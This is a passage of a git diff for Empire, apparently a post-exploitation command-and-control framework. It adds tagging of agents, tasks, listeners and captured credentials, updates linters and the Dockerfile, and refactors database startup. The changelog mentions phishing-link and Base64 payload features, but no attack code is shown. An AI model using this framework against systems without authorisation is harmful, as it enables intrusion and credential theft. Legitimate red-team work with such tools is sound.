diff --git a/.github/CONTRIBUTING.md b/.github/CONTRIBUTING.md index 175b0e57c..b37ccafde 100644 --- a/.github/CONTRIBUTING.md +++ b/.github/CONTRIBUTING.md @@ -45,11 +45,11 @@ The `main` branch in `BC-SECURITY/Empire` automatically syncs. ### Code Formatting and Linting -* As of Empire 4.4, we are using [psf/black](https://github.com/psf/black) for code formatting. +* We are using [psf/black](https://github.com/psf/black) for code formatting. * Black is a Python code formatter that helps to keep the codebase uniform and easy to read -* As of Empire 4.4, we are using [PyCQA/isort](https://github.com/PyCQA/isort) +* We are using [PyCQA/isort](https://github.com/PyCQA/isort) * Isort is a Python utility that sorts and formats imports. -* As of Empire 5.0.1, we are using [charliermarsh/ruff](https://github.com/charliermarsh/ruff) for linting. +* We are using [charliermarsh/ruff](https://github.com/charliermarsh/ruff) for linting. * Ruff is a python linter that helps identify common bugs and style issues. * After implementing your changes: 1. run `black .` (or `poetry run black .`). @@ -66,5 +66,4 @@ Please write tests for your code! We use [pytest](https://docs.pytest.org/en/lat For tests that take >20-30 seconds, please add the `@pytest.mark.slow` decorator to the test function. This will allow us to skip the slow tests when running the tests, unless we explicitly want to run them with `pytest --runslow`. ## Upgrading dependencies - Dependencies can be upgraded using [poetry-plugin-up](https://github.com/MousaZeidBaker/poetry-plugin-up). diff --git a/.github/workflows/lint-and-test.yml b/.github/workflows/lint-and-test.yml index ba341e901..90f1c7b80 100644 --- a/.github/workflows/lint-and-test.yml +++ b/.github/workflows/lint-and-test.yml @@ -2,8 +2,6 @@ name: Lint and Test on: pull_request: - paths-ignore: - - '**.md' concurrency: group: ${{ github.workflow }}-${{ github.head_ref || github.run_id }} @@ -14,11 +12,13 @@ jobs: runs-on: ubuntu-latest steps: - uses: actions/checkout@v3 - - uses: psf/black@23.1.0 + - uses: psf/black@23.7.0 - uses: isort/isort-action@master + with: + isort-version: 5.12.0 - name: Run ruff run: | - pip install ruff + pip install ruff==0.0.283 ruff . matrix-prep-config: runs-on: ubuntu-latest diff --git a/.gitmodules b/.gitmodules index e4aeea038..13128da63 100644 --- a/.gitmodules +++ b/.gitmodules @@ -49,3 +49,6 @@ [submodule "empire/server/csharp/Covenant/Data/ReferenceSourceLibraries/RunOF"] path = empire/server/csharp/Covenant/Data/ReferenceSourceLibraries/RunOF url = https://github.com/BC-SECURITY/RunOF.git +[submodule "empire/server/plugins/Report-Generation-Plugin"] + path = empire/server/plugins/Report-Generation-Plugin + url = https://github.com/BC-SECURITY/Report-Generation-Plugin.git diff --git a/.pre-commit-config.yaml b/.pre-commit-config.yaml index a184e29bd..2fdf1103f 100644 --- a/.pre-commit-config.yaml +++ b/.pre-commit-config.yaml @@ -1,6 +1,6 @@ repos: - repo: https://github.com/psf/black - rev: 23.1.0 + rev: 23.7.0 hooks: - id: black language_version: python3.9 @@ -11,7 +11,8 @@ repos: - id: isort name: isort (python) -- repo: https://github.com/charliermarsh/ruff-pre-commit - rev: 'v0.0.236' +- repo: https://github.com/astral-sh/ruff-pre-commit + rev: v0.0.283 hooks: - id: ruff + args: [--fix, --exit-non-zero-on-fix] diff --git a/CHANGELOG.md b/CHANGELOG.md index ac5bd13c4..cdafd66d8 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -7,7 +7,38 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0 ## [Unreleased] -- Update the github issue templates to use forms (@Vinnybod) +## [5.6.3] - 2023-08-27 + +- Updated Starkiller to v2.5.3 +- Added Advanced Reporting Plugin and dependencies (@Cx01N) +- Pin linters in the workflow +- Catch error when starting up database that was seeded by an older version of Empire (@Vinnybod) +- Updated Windows BAT launcher to use Base64 for all payloads (@Cx01N) + +## [5.6.2] - 2023-08-09 + +- Update the github issue templates to use forms (@Vinnybod) +- Fix issue with option validator throwing error for strict non-required options (@Vinnybod) +- Allow Starkiller to load even if the git pull fails if the dir exists (@Vinnybod) +- Update listener descriptions to not specify languages since Empire supports more languages now + +## [5.6.1] - 2023-08-02 + +## [5.6.0] - 2023-07-25 + +- Upgrade dependencies +- Upgrade Dockerfile to bullseye and 3.11.4 +- Allow download_service to accept a pathlib.Path object to create a download (@Vinnybod) +- Fix file option for listeners, stagers, plugins (@Vinnybod) +- Add tags to Listeners, Agents, Agent Tasks, Plugin Tasks, Credentials, and Downloads (@Vinnybod) + - Add endpoints to add, edit, and delete tags for each resource type + - Add tag list endpoint + - Add tag filters to Agent Tasks, Plugin Tasks, and Downloads + - Add events for new and updated tags +- Fix user filters for tasks to include tasks without any users (@Vinnybod) +- Refactor stager and listener tests to work better in parallel (@Vinnybod) +- Add a Invoke-PhishingLNK Module (@0xFFaraday) +- Fix changelog link in README (@theguly) ## [5.5.4] - 2023-07-20 - Updated Starkiller to v2.4.3 @@ -546,7 +577,15 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0 - Updated shellcoderdi to newest version (@Cx01N) - Added a Nim launcher (@Hubbl3) -[Unreleased]: https://github.com/BC-SECURITY/Empire-Sponsors/compare/v5.5.4...HEAD +[Unreleased]: https://github.com/BC-SECURITY/Empire-Sponsors/compare/v5.6.3...HEAD + +[5.6.3]: https://github.com/BC-SECURITY/Empire-Sponsors/compare/v5.6.2...v5.6.3 + +[5.6.2]: https://github.com/BC-SECURITY/Empire-Sponsors/compare/v5.6.1...v5.6.2 + +[5.6.1]: https://github.com/BC-SECURITY/Empire-Sponsors/compare/v5.6.0...v5.6.1 + +[5.6.0]: https://github.com/BC-SECURITY/Empire-Sponsors/compare/v5.5.4...v5.6.0 [5.5.4]: https://github.com/BC-SECURITY/Empire-Sponsors/compare/v5.5.3...v5.5.4 diff --git a/Dockerfile b/Dockerfile index ce8414a05..63f0ef4f8 100644 --- a/Dockerfile +++ b/Dockerfile @@ -13,7 +13,7 @@ # -----BUILD ENTRY----- # image base -FROM python:3.11.3-buster +FROM python:3.11.4-bullseye # extra metadata LABEL maintainer="bc-security" diff --git a/empire/server/api/app.py b/empire/server/api/app.py index 8710f3b70..5249daaff 100644 --- a/empire/server/api/app.py +++ b/empire/server/api/app.py @@ -3,6 +3,7 @@ import os from datetime import datetime from json import JSONEncoder +from pathlib import Path import socketio import uvicorn @@ -42,14 +43,27 @@ def default(self, o): return JSONEncoder.default(self, o) -def load_starkiller(v2App): - sync_starkiller(empire_config.dict()) +def load_starkiller(v2App, ip, port): + try: + sync_starkiller(empire_config.dict()) + except Exception as e: + log.warning("Failed to load Starkiller: %s", e, exc_info=True) + log.warning( + "If you are trying to pull Starkiller from a private repository (" + "such as Starkiller-Sponsors), make sure you have the proper ssh " + "credentials set in your Empire config. See " + "https://docs.github.com/en/github/authenticating-to-github" + "/connecting-to-github-with-ssh" + ) - v2App.mount( - "/", - StaticFiles(directory=f"{empire_config.starkiller.directory}/dist"), - name="static", - ) + if (Path(empire_config.starkiller.directory) / "dist").exists(): + v2App.mount( + "/", + StaticFiles(directory=f"{empire_config.starkiller.directory}/dist"), + name="static", + ) + log.info("Starkiller served at the same ip and port as Empire Server") + log.info(f"Starkiller served at http://localhost:{port}/index.html") def initialize(secure: bool = False, ip: str = "0.0.0.0", port: int = 1337): @@ -66,6 +80,7 @@ def initialize(secure: bool = False, ip: str = "0.0.0.0", port: int = 1337): from empire.server.api.v2.plugin import plugin_api, plugin_task_api from empire.server.api.v2.profile import profile_api from empire.server.api.v2.stager import stager_api, stager_template_api + from empire.server.api.v2.tag import tag_api from empire.server.api.v2.user import user_api from empire.server.server import main @@ -97,6 +112,7 @@ def shutdown_event(): v2App.include_router(meta_api.router) v2App.include_router(plugin_task_api.router) v2App.include_router(plugin_api.router) + v2App.include_router(tag_api.router) v2App.add_middleware( EmpireCORSMiddleware, @@ -131,18 +147,7 @@ def shutdown_event(): setup_socket_events(sio, main) - try: - load_starkiller(v2App) - log.info(f"Starkiller served at http://{ip}:{port}/index.html") - except Exception as e: - log.warning("Failed to load Starkiller: %s", e, exc_info=True) - log.warning( - "If you are trying to pull Starkiller from a private repository (" - "such as Starkiller-Sponsors), make sure you have the proper ssh " - "credentials set in your Empire config. See " - "https://docs.github.com/en/github/authenticating-to-github" - "/connecting-to-github-with-ssh" - ) + load_starkiller(v2App, ip, port) cert_path = os.path.abspath("./empire/server/data/") diff --git a/empire/server/api/v2/agent/agent_api.py b/empire/server/api/v2/agent/agent_api.py index 4f67b1467..ec81a41df 100644 --- a/empire/server/api/v2/agent/agent_api.py +++ b/empire/server/api/v2/agent/agent_api.py @@ -24,6 +24,7 @@ NotFoundResponse, OrderDirection, ) +from empire.server.api.v2.tag import tag_api from empire.server.core.config import empire_config from empire.server.core.db import models from empire.server.server import main @@ -50,6 +51,9 @@ async def get_agent(uid: str, db: Session = Depends(get_db)): raise HTTPException(404, f"Agent not found for id {uid}") +tag_api.add_endpoints_to_taggable(router, "/{uid}/tags", get_agent) + + @router.get("/checkins", response_model=AgentCheckIns) def read_agent_checkins_all( db: Session = Depends(get_db), diff --git a/empire/server/api/v2/agent/agent_dto.py b/empire/server/api/v2/agent/agent_dto.py index 3dea2d590..667cb14ee 100644 --- a/empire/server/api/v2/agent/agent_dto.py +++ b/empire/server/api/v2/agent/agent_dto.py @@ -5,6 +5,7 @@ from pydantic import BaseModel from empire.server.api.v2.shared_dto import PROXY_ID +from empire.server.api.v2.tag.tag_dto import Tag, domain_to_dto_tag from empire.server.core.db import models @@ -48,6 +49,7 @@ def domain_to_dto_agent(agent: models.Agent): archived=agent.archived, # Could make this a typed class later to match the schema proxies=to_proxy_dto(agent.proxies), + tags=list(map(lambda x: domain_to_dto_tag(x), agent.tags)), ) @@ -111,6 +113,7 @@ class Agent(BaseModel): archived: bool stale: bool proxies: Optional[Dict] + tags: List[Tag] class Agents(BaseModel): diff --git a/empire/server/api/v2/agent/agent_task_api.py b/empire/server/api/v2/agent/agent_task_api.py index 32aae1a41..9dfa90693 100644 --- a/empire/server/api/v2/agent/agent_task_api.py +++ b/empire/server/api/v2/agent/agent_task_api.py @@ -38,6 +38,8 @@ NotFoundResponse, OrderDirection, ) +from empire.server.api.v2.tag import tag_api +from empire.server.api.v2.tag.tag_dto import TagStr from empire.server.core.agent_service import AgentService from empire.server.core.agent_task_service import AgentTaskService from empire.server.core.db import models @@ -83,6 +85,9 @@ async def get_task( ) +tag_api.add_endpoints_to_taggable(router, "/{agent_id}/tasks/{uid}/tags", get_task) + + @router.get("/tasks", response_model=AgentTasks) async def read_tasks_all_agents( limit: int = -1, @@ -96,6 +101,7 @@ async def read_tasks_all_agents( status: Optional[AgentTaskStatus] = None, agents: Optional[List[str]] = Query(None), users: Optional[List[int]] = Query(None), + tags: Optional[List[TagStr]] = Query(None), query: Optional[str] = None, db: Session = Depends(get_db), ): @@ -103,6 +109,7 @@ async def read_tasks_all_agents( db, agents=agents, users=users, + tags=tags, limit=limit, offset=(page - 1) * limit, include_full_input=include_full_input, @@ -145,6 +152,7 @@ async def read_tasks( order_direction: OrderDirection = OrderDirection.desc, status: Optional[AgentTaskStatus] = None, users: Optional[List[int]] = Query(None), + tags: Optional[List[TagStr]] = Query(None), db: Session = Depends(get_db), db_agent: models.Agent = Depends(get_agent), query: Optional[str] = None, @@ -153,6 +161,7 @@ async def read_tasks( db, agents=[db_agent.session_id], users=users, + tags=tags, limit=limit, offset=(page - 1) * limit, include_full_input=include_full_input, diff --git a/empire/server/api/v2/agent/agent_task_dto.py b/empire/server/api/v2/agent/agent_task_dto.py index 95375c15d..7500ef414 100644 --- a/empire/server/api/v2/agent/agent_task_dto.py +++ b/empire/server/api/v2/agent/agent_task_dto.py @@ -8,6 +8,7 @@ DownloadDescription, domain_to_dto_download_description, ) +from empire.server.api.v2.tag.tag_dto import Tag, domain_to_dto_tag from empire.server.core.db import models @@ -41,6 +42,7 @@ def domain_to_dto_task( status=task.status, created_at=task.created_at, updated_at=task.updated_at, + tags=list(map(lambda x: domain_to_dto_tag(x), task.tags)), ) @@ -59,6 +61,7 @@ class AgentTask(BaseModel): status: models.AgentTaskStatus created_at: datetime updated_at: datetime + tags: List[Tag] class AgentTasks(BaseModel): diff --git a/empire/server/api/v2/credential/credential_api.py b/empire/server/api/v2/credential/credential_api.py index 341f66ee6..770d4c1f8 100644 --- a/empire/server/api/v2/credential/credential_api.py +++ b/empire/server/api/v2/credential/credential_api.py @@ -16,6 +16,7 @@ ) from empire.server.api.v2.shared_dependencies import get_db from empire.server.api.v2.shared_dto import BadRequestResponse, NotFoundResponse +from empire.server.api.v2.tag import tag_api from empire.server.core.db import models from empire.server.server import main @@ -41,6 +42,9 @@ async def get_credential(uid: int, db: Session = Depends(get_db)): raise HTTPException(404, f"Credential not found for id {uid}") +tag_api.add_endpoints_to_taggable(router, "/{uid}/tags", get_credential) + + @router.get("/{uid}", response_model=Credential) async def read_credential( uid: int, db_credential: models.Credential = Depends(get_credential) diff --git a/empire/server/api/v2/credential/credential_dto.py b/empire/server/api/v2/credential/credential_dto.py index e1c92b9a1..598d8c5f2 100644 --- a/empire/server/api/v2/credential/credential_dto.py +++ b/empire/server/api/v2/credential/credential_dto.py @@ -3,6 +3,8 @@ from pydantic import BaseModel +from empire.server.api.v2.tag.tag_dto import Tag, domain_to_dto_tag + def domain_to_dto_credential(credential): return Credential( @@ -17,6 +19,7 @@ def domain_to_dto_credential(credential): notes=credential.notes, created_at=credential.created_at, updated_at=credential.updated_at, + tags=list(map(lambda x: domain_to_dto_tag(x), credential.tags)), ) @@ -32,6 +35,7 @@ class Credential(BaseModel): notes: Optional[str] created_at: datetime updated_at: datetime + tags: List[Tag] class Credentials(BaseModel): diff --git a/empire/server/api/v2/download/download_api.py b/empire/server/api/v2/download/download_api.py index bc690ce83..a6ff1045f 100644 --- a/empire/server/api/v2/download/download_api.py +++ b/empire/server/api/v2/download/download_api.py @@ -20,6 +20,8 @@ NotFoundResponse, OrderDirection, ) +from empire.server.api.v2.tag import tag_api +from empire.server.api.v2.tag.tag_dto import TagStr from empire.server.core.db import models from empire.server.server import main @@ -59,8 +61,12 @@ async def download_download( return FileResponse(db_download.location, filename=filename) +tag_api.add_endpoints_to_taggable(router, "/{uid}/tags", get_download) + + @router.get( "/{uid}", + response_model=Download, ) async def read_download( uid: int, @@ -79,10 +85,12 @@ async def read_downloads( order_by: DownloadOrderOptions = DownloadOrderOptions.updated_at, query: Optional[str] = None, sources: Optional[List[DownloadSourceFilter]] = Query(None), + tags: Optional[List[TagStr]] = Query(None), ): downloads, total = download_service.get_all( db=db, download_types=sources, + tags=tags, q=query, limit=limit, offset=(page - 1) * limit, diff --git a/empire/server/api/v2/download/download_dto.py b/empire/server/api/v2/download/download_dto.py index e729ef0b7..f271c22c4 100644 --- a/empire/server/api/v2/download/download_dto.py +++ b/empire/server/api/v2/download/download_dto.py @@ -4,6 +4,8 @@ from pydantic import BaseModel +from empire.server.api.v2.tag.tag_dto import Tag, domain_to_dto_tag + def removeprefix(value: str, prefix: str) -> str: if value.startswith(prefix): @@ -21,6 +23,7 @@ def domain_to_dto_download(download): size=download.size, created_at=download.created_at, updated_at=download.updated_at, + tags=list(map(lambda x: domain_to_dto_tag(x), download.tags)), ) @@ -46,6 +49,7 @@ class Download(BaseModel): size: int created_at: datetime updated_at: datetime + tags: List[Tag] class Downloads(BaseModel): diff --git a/empire/server/api/v2/listener/listener_api.py b/empire/server/api/v2/listener/listener_api.py index 2634e38f8..1386e1381 100644 --- a/empire/server/api/v2/listener/listener_api.py +++ b/empire/server/api/v2/listener/listener_api.py @@ -14,6 +14,7 @@ ) from empire.server.api.v2.shared_dependencies import get_db from empire.server.api.v2.shared_dto import BadRequestResponse, NotFoundResponse +from empire.server.api.v2.tag import tag_api from empire.server.core.db import models from empire.server.server import main @@ -39,6 +40,9 @@ async def get_listener(uid: int, db: Session = Depends(get_db)): raise HTTPException(404, f"Listener not found for id {uid}") +tag_api.add_endpoints_to_taggable(router, "/{uid}/tags", get_listener) + + @router.get("/{uid}", response_model=Listener) async def read_listener(uid: int, db_listener: models.Listener = Depends(get_listener)): return domain_to_dto_listener(db_listener) diff --git a/empire/server/api/v2/listener/listener_dto.py b/empire/server/api/v2/listener/listener_dto.py index 0b0e55c83..be1ada240 100644 --- a/empire/server/api/v2/listener/listener_dto.py +++ b/empire/server/api/v2/listener/listener_dto.py @@ -4,6 +4,7 @@ from pydantic import BaseModel from empire.server.api.v2.shared_dto import Author, CustomOptionSchema, to_value_type +from empire.server.api.v2.tag.tag_dto import Tag, domain_to_dto_tag def domain_to_dto_template(listener, uid: str): @@ -17,7 +18,7 @@ def domain_to_dto_template(listener, uid: str): "value": x[1]["Value"], "strict": x[1]["Strict"], "suggested_values": x[1]["SuggestedValues"], - "value_type": to_value_type(x[1]["Value"]), + "value_type": to_value_type(x[1]["Value"], x[1].get("Type")), }, ), listener.options.items(), @@ -59,6 +60,7 @@ def domain_to_dto_listener(listener): enabled=listener.enabled, options=options, created_at=listener.created_at, + tags=list(map(lambda x: domain_to_dto_tag(x), listener.tags)), ) @@ -86,7 +88,7 @@ class Config: "name": "", } ], - "description": "Starts a http[s] listener (PowerShell or Python) that uses a GET/POST approach.", + "description": "Starts a http[s] listener that uses a GET/POST approach.", "category": "client_server", "comments": [], "tactics": [], @@ -249,6 +251,7 @@ class Listener(BaseModel): template: str options: Dict[str, str] created_at: datetime + tags: List[Tag] class Listeners(BaseModel): diff --git a/empire/server/api/v2/plugin/plugin_dto.py b/empire/server/api/v2/plugin/plugin_dto.py index 121d6a107..8f468db8b 100644 --- a/empire/server/api/v2/plugin/plugin_dto.py +++ b/empire/server/api/v2/plugin/plugin_dto.py @@ -17,7 +17,7 @@ def domain_to_dto_plugin(plugin: Plugin, uid: str): "value": x[1]["Value"], "strict": x[1]["Strict"], "suggested_values": x[1]["SuggestedValues"], - "value_type": to_value_type(x[1]["Value"]), + "value_type": to_value_type(x[1]["Value"], x[1].get("Type")), }, ), plugin.options.items(), diff --git a/empire/server/api/v2/plugin/plugin_task_api.py b/empire/server/api/v2/plugin/plugin_task_api.py index 008847bd8..f01924ac2 100644 --- a/empire/server/api/v2/plugin/plugin_task_api.py +++ b/empire/server/api/v2/plugin/plugin_task_api.py @@ -19,6 +19,8 @@ NotFoundResponse, OrderDirection, ) +from empire.server.api.v2.tag import tag_api +from empire.server.api.v2.tag.tag_dto import TagStr from empire.server.core.db import models from empire.server.core.db.models import PluginTaskStatus from empire.server.core.download_service import DownloadService @@ -59,6 +61,9 @@ async def get_task(uid: int, db: Session = Depends(get_db), plugin=Depends(get_p ) +tag_api.add_endpoints_to_taggable(router, "/{plugin_id}/tasks/{uid}/tags", get_task) + + @router.get("/tasks", response_model=PluginTasks) async def read_tasks_all_plugins( limit: int = -1, @@ -71,6 +76,7 @@ async def read_tasks_all_plugins( status: Optional[PluginTaskStatus] = None, plugins: Optional[List[str]] = Query(None), users: Optional[List[int]] = Query(None), + tags: Optional[List[TagStr]] = Query(None), query: Optional[str] = None, db: Session = Depends(get_db), ): @@ -78,6 +84,7 @@ async def read_tasks_all_plugins( db, plugins=plugins, users=users, + tags=tags, limit=limit, offset=(page - 1) * limit, include_full_input=include_full_input, @@ -116,6 +123,7 @@ async def read_tasks( order_direction: OrderDirection = OrderDirection.desc, status: Optional[PluginTaskStatus] = None, users: Optional[List[int]] = Query(None), + tags: Optional[List[TagStr]] = Query(None), db: Session = Depends(get_db), plugin=Depends(get_plugin), query: Optional[str] = None, @@ -124,6 +132,7 @@ async def read_tasks( db, plugins=[plugin.info["Name"]], users=users, + tags=tags, limit=limit, offset=(page - 1) * limit, include_full_input=include_full_input, diff --git a/empire/server/api/v2/plugin/plugin_task_dto.py b/empire/server/api/v2/plugin/plugin_task_dto.py index 902fad9be..16b9941dc 100644 --- a/empire/server/api/v2/plugin/plugin_task_dto.py +++ b/empire/server/api/v2/plugin/plugin_task_dto.py @@ -8,6 +8,7 @@ DownloadDescription, domain_to_dto_download_description, ) +from empire.server.api.v2.tag.tag_dto import Tag, domain_to_dto_tag from empire.server.core.db import models @@ -37,6 +38,7 @@ def domain_to_dto_plugin_task( status=task.status, created_at=task.created_at, updated_at=task.updated_at, + tags=list(map(lambda x: domain_to_dto_tag(x), task.tags)), ) @@ -52,6 +54,7 @@ class PluginTask(BaseModel): status: Optional[models.PluginTaskStatus] created_at: datetime updated_at: datetime + tags: List[Tag] class PluginTasks(BaseModel): diff --git a/empire/server/api/v2/stager/stager_dto.py b/empire/server/api/v2/stager/stager_dto.py index 0fe0efac1..6053fc703 100644 --- a/empire/server/api/v2/stager/stager_dto.py +++ b/empire/server/api/v2/stager/stager_dto.py @@ -24,7 +24,7 @@ def domain_to_dto_template(stager, uid: str): "value": x[1]["Value"], "strict": x[1]["Strict"], "suggested_values": x[1]["SuggestedValues"], - "value_type": to_value_type(x[1]["Value"]), + "value_type": to_value_type(x[1]["Value"], x[1].get("Type")), }, ), stager.options.items(), diff --git a/empire/server/api/v2/tag/__init__.py b/empire/server/api/v2/tag/__init__.py new file mode 100644 index 000000000..e69de29bb diff --git a/empire/server/api/v2/tag/tag_api.py b/empire/server/api/v2/tag/tag_api.py new file mode 100644 index 000000000..8ea1071fd --- /dev/null +++ b/empire/server/api/v2/tag/tag_api.py @@ -0,0 +1,121 @@ +import math +from typing import List, Optional, Union + +from fastapi import Depends, HTTPException, Query +from sqlalchemy.orm import Session +from starlette.responses import Response +from starlette.status import HTTP_201_CREATED, HTTP_204_NO_CONTENT + +from empire.server.api.api_router import APIRouter +from empire.server.api.jwt_auth import get_current_active_user +from empire.server.api.v2.shared_dependencies import get_db +from empire.server.api.v2.shared_dto import ( + BadRequestResponse, + NotFoundResponse, + OrderDirection, +) +from empire.server.api.v2.tag.tag_dto import ( + TagOrderOptions, + TagRequest, + Tags, + TagSourceFilter, + domain_to_dto_tag, +) +from empire.server.core.db import models +from empire.server.server import main + +tag_service = main.tagsv2 + + +router = APIRouter( + prefix="/api/v2/tags", + tags=["tags"], + responses={ + 404: {"description": "Not found", "model": NotFoundResponse}, + 400: {"description": "Bad request", "model": BadRequestResponse}, + }, + dependencies=[Depends(get_current_active_user)], +) + + +@router.get("/") +async def get_tags( + db: Session = Depends(get_db), + limit: int = -1, + page: int = 1, + order_direction: OrderDirection = OrderDirection.asc, + order_by: TagOrderOptions = TagOrderOptions.updated_at, + query: Optional[str] = None, + sources: Optional[List[TagSourceFilter]] = Query(None), +): + tags, total = tag_service.get_all( + db=db, + tag_types=sources, + q=query, + limit=limit, + offset=(page - 1) * limit, + order_by=order_by, + order_direction=order_direction, + ) + + tags_converted = list(map(lambda x: domain_to_dto_tag(x), tags)) + + return Tags( + records=tags_converted, + page=page, + total_pages=math.ceil(total / limit) if limit > 0 else page, + limit=limit, + total=total, + ) + + +def add_endpoints_to_taggable(router, path, get_taggable): + async def get_tag(tag_id: int, db: Session = Depends(get_db)): + tag = tag_service.get_by_id(db, tag_id) + + if tag: + return tag + + raise HTTPException(404, f"Tag not found for id {tag_id}") + + async def add_tag( + uid: Union[int, str], + tag_req: TagRequest, + db_taggable=Depends(get_taggable), + db: Session = Depends(get_db), + ): + tag = tag_service.add_tag(db, db_taggable, tag_req) + + return domain_to_dto_tag(tag) + + async def update_tag( + uid: Union[int, str], + tag_req: TagRequest, + db_taggable=Depends(get_taggable), + db_tag: models.Tag = Depends(get_tag), + db: Session = Depends(get_db), + ): + tag = tag_service.update_tag(db, db_tag, db_taggable, tag_req) + + return domain_to_dto_tag(tag) + + async def delete_tag( + uid: Union[int, str], + tag_id: int, + db_taggable=Depends(get_taggable), + db: Session = Depends(get_db), + ): + tag_service.delete_tag(db, db_taggable, tag_id) + + return Response(status_code=HTTP_204_NO_CONTENT) + + router.add_api_route( + path, endpoint=add_tag, methods=["POST"], status_code=HTTP_201_CREATED + ) + router.add_api_route(path + "/{tag_id}", endpoint=update_tag, methods=["PUT"]) + router.add_api_route( + path + "/{tag_id}", + endpoint=delete_tag, + methods=["DELETE"], + status_code=HTTP_204_NO_CONTENT, + ) diff --git a/empire/server/api/v2/tag/tag_dto.py b/empire/server/api/v2/tag/tag_dto.py new file mode 100644 index 000000000..9c3efdd8f --- /dev/null +++ b/empire/server/api/v2/tag/tag_dto.py @@ -0,0 +1,59 @@ +from enum import Enum +from typing import List, Optional + +from pydantic import BaseModel, constr + +from empire.server.core.db import models + +# Validate the string contains 1 colon +TagStr = constr(regex=r"^[^:]+:[^:]+$") + +# Validate the string has no colons +TagStrNoColon = constr(regex=r"^[^:]+$") + + +class TagSourceFilter(str, Enum): + listener = "listener" + agent = "agent" + agent_task = "agent_task" + plugin_task = "plugin_task" + download = "download" + credential = "credential" + + +class Tag(BaseModel): + id: int + name: str + value: str + label: str + color: Optional[str] + + +class Tags(BaseModel): + records: List[Tag] + limit: int + page: int + total_pages: int + total: int + + +class TagRequest(BaseModel): + name: TagStrNoColon + value: TagStrNoColon + color: Optional[str] + + +class TagOrderOptions(str, Enum): + name = "name" + created_at = "created_at" + updated_at = "updated_at" + + +def domain_to_dto_tag(tag: models.Tag): + return Tag( + id=tag.id, + name=tag.name, + value=tag.value, + label=f"{tag.name}:{tag.value}", + color=tag.color, + ) diff --git a/empire/server/common/empire.py b/empire/server/common/empire.py index 2a4886d37..4bdd8f18f 100755 --- a/empire/server/common/empire.py +++ b/empire/server/common/empire.py @@ -34,12 +34,13 @@ from empire.server.core.profile_service import ProfileService from empire.server.core.stager_service import StagerService from empire.server.core.stager_template_service import StagerTemplateService +from empire.server.core.tag_service import TagService from empire.server.core.user_service import UserService from empire.server.utils import data_util from . import agents, credentials, listeners, stagers -VERSION = "5.5.4 BC Security Fork" +VERSION = "5.6.3 BC Security Fork" log = logging.getLogger(__name__) @@ -89,6 +90,7 @@ def __init__(self, args=None): self.agentfilesv2 = AgentFileService(self) self.agentsv2 = AgentService(self) self.pluginsv2 = PluginService(self) + self.tagsv2 = TagService(self) self.pluginsv2.startup() hooks_internal.initialize() diff --git a/empire/server/config.yaml b/empire/server/config.yaml index eb127a9c7..79100fe12 100644 --- a/empire/server/config.yaml +++ b/empire/server/config.yaml @@ -43,7 +43,7 @@ starkiller: repo: https://github.com/BC-SECURITY/Starkiller.git directory: empire/server/api/v2/starkiller # Can be a branch, tag, or commit hash - ref: v2.4.3 + ref: v2.5.3 auto_update: true plugins: # Auto-load plugin with defined settings diff --git a/empire/server/core/agent_task_service.py b/empire/server/core/agent_task_service.py index ac9b291ff..d4378021b 100644 --- a/empire/server/core/agent_task_service.py +++ b/empire/server/core/agent_task_service.py @@ -44,6 +44,7 @@ def get_tasks( db: Session, agents: List[str] = None, users: List[int] = None, + tags: List[str] = None, limit: int = -1, offset: int = 0, include_full_input: bool = False, @@ -63,7 +64,19 @@ def get_tasks( query = query.filter(models.AgentTask.agent_id.in_(agents)) if users: - query = query.filter(models.AgentTask.user_id.in_(users)) + user_filters = [models.AgentTask.user_id.in_(users)] + if 0 in users: + user_filters.append(models.AgentTask.user_id.is_(None)) + query = query.filter(or_(*user_filters)) + + if tags: + tags_split = [tag.split(":", 1) for tag in tags] + query = query.join(models.AgentTask.tags).filter( + and_( + models.Tag.name.in_([tag[0] for tag in tags_split]), + models.Tag.value.in_([tag[1] for tag in tags_split]), + ) + ) query_options = [ joinedload(models.AgentTask.user), @@ -299,7 +312,7 @@ def create_task_module( db: Session, agent: models.Agent, module_req: ModulePostRequest, - user_id: int, + user_id: int = 0, ): module_req.options["Agent"] = agent.session_id resp, err = self.module_service.execute_module( diff --git a/empire/server/core/db/base.py b/empire/server/core/db/base.py index d891f34f4..9a4876264 100644 --- a/empire/server/core/db/base.py +++ b/empire/server/core/db/base.py @@ -88,61 +88,77 @@ def reset_db(): SessionLocal = sessionmaker(bind=engine) Base.metadata.create_all(engine) -with SessionLocal.begin() as db: - if use == "mysql": - database_name = database_config.database_name - - result = db.execute( - text( - f""" - SELECT * FROM information_schema.COLUMNS - WHERE TABLE_SCHEMA = '{database_name}' - AND table_name = 'hosts' - AND column_name = 'unique_check' - """ - ) - ).fetchone() - if not result: - db.execute( - text( + +def startup_db(): + try: + with SessionLocal.begin() as db: + if use == "mysql": + database_name = database_config.database_name + + result = db.execute( + text( + f""" + SELECT * FROM information_schema.COLUMNS + WHERE TABLE_SCHEMA = '{database_name}' + AND table_name = 'hosts' + AND column_name = 'unique_check' """ - ALTER TABLE hosts - ADD COLUMN unique_check VARCHAR(255) GENERATED ALWAYS AS (MD5(CONCAT(name, internal_ip))) UNIQUE; - """ - ) - ) - - # index agent_id and checkin_time together - # won't work for sqlite. - from sqlalchemy import Index - - Index( - "agent_checkin_idx", - models.AgentCheckIn.agent_id, - models.AgentCheckIn.checkin_time.desc(), - ) - - # When Empire starts up for the first time, it will create the database and create - # these default records. - if len(db.query(models.User).all()) == 0: - log.info("Setting up database.") - log.info("Adding default user.") - db.add(get_default_user()) - - if len(db.query(models.Config).all()) == 0: - log.info("Adding database config.") - db.add(get_default_config()) - - if len(db.query(models.Keyword).all()) == 0: - log.info("Adding default keyword obfuscation functions.") - keywords = get_default_keyword_obfuscation() - - for keyword in keywords: - db.add(keyword) - - if len(db.query(models.ObfuscationConfig).all()) == 0: - log.info("Adding default obfuscation config.") - obf_configs = get_default_obfuscation_config() - - for config in obf_configs: - db.add(config) + ) + ).fetchone() + if not result: + db.execute( + text( + """ + ALTER TABLE hosts + ADD COLUMN unique_check VARCHAR(255) GENERATED ALWAYS AS (MD5(CONCAT(name, internal_ip))) UNIQUE; + """ + ) + ) + + # index agent_id and checkin_time together + # won't work for sqlite. + from sqlalchemy import Index + + Index( + "agent_checkin_idx", + models.AgentCheckIn.agent_id, + models.AgentCheckIn.checkin_time.desc(), + ) + + # When Empire starts up for the first time, it will create the database and create + # these default records. + if len(db.query(models.User).all()) == 0: + log.info("Setting up database.") + log.info("Adding default user.") + 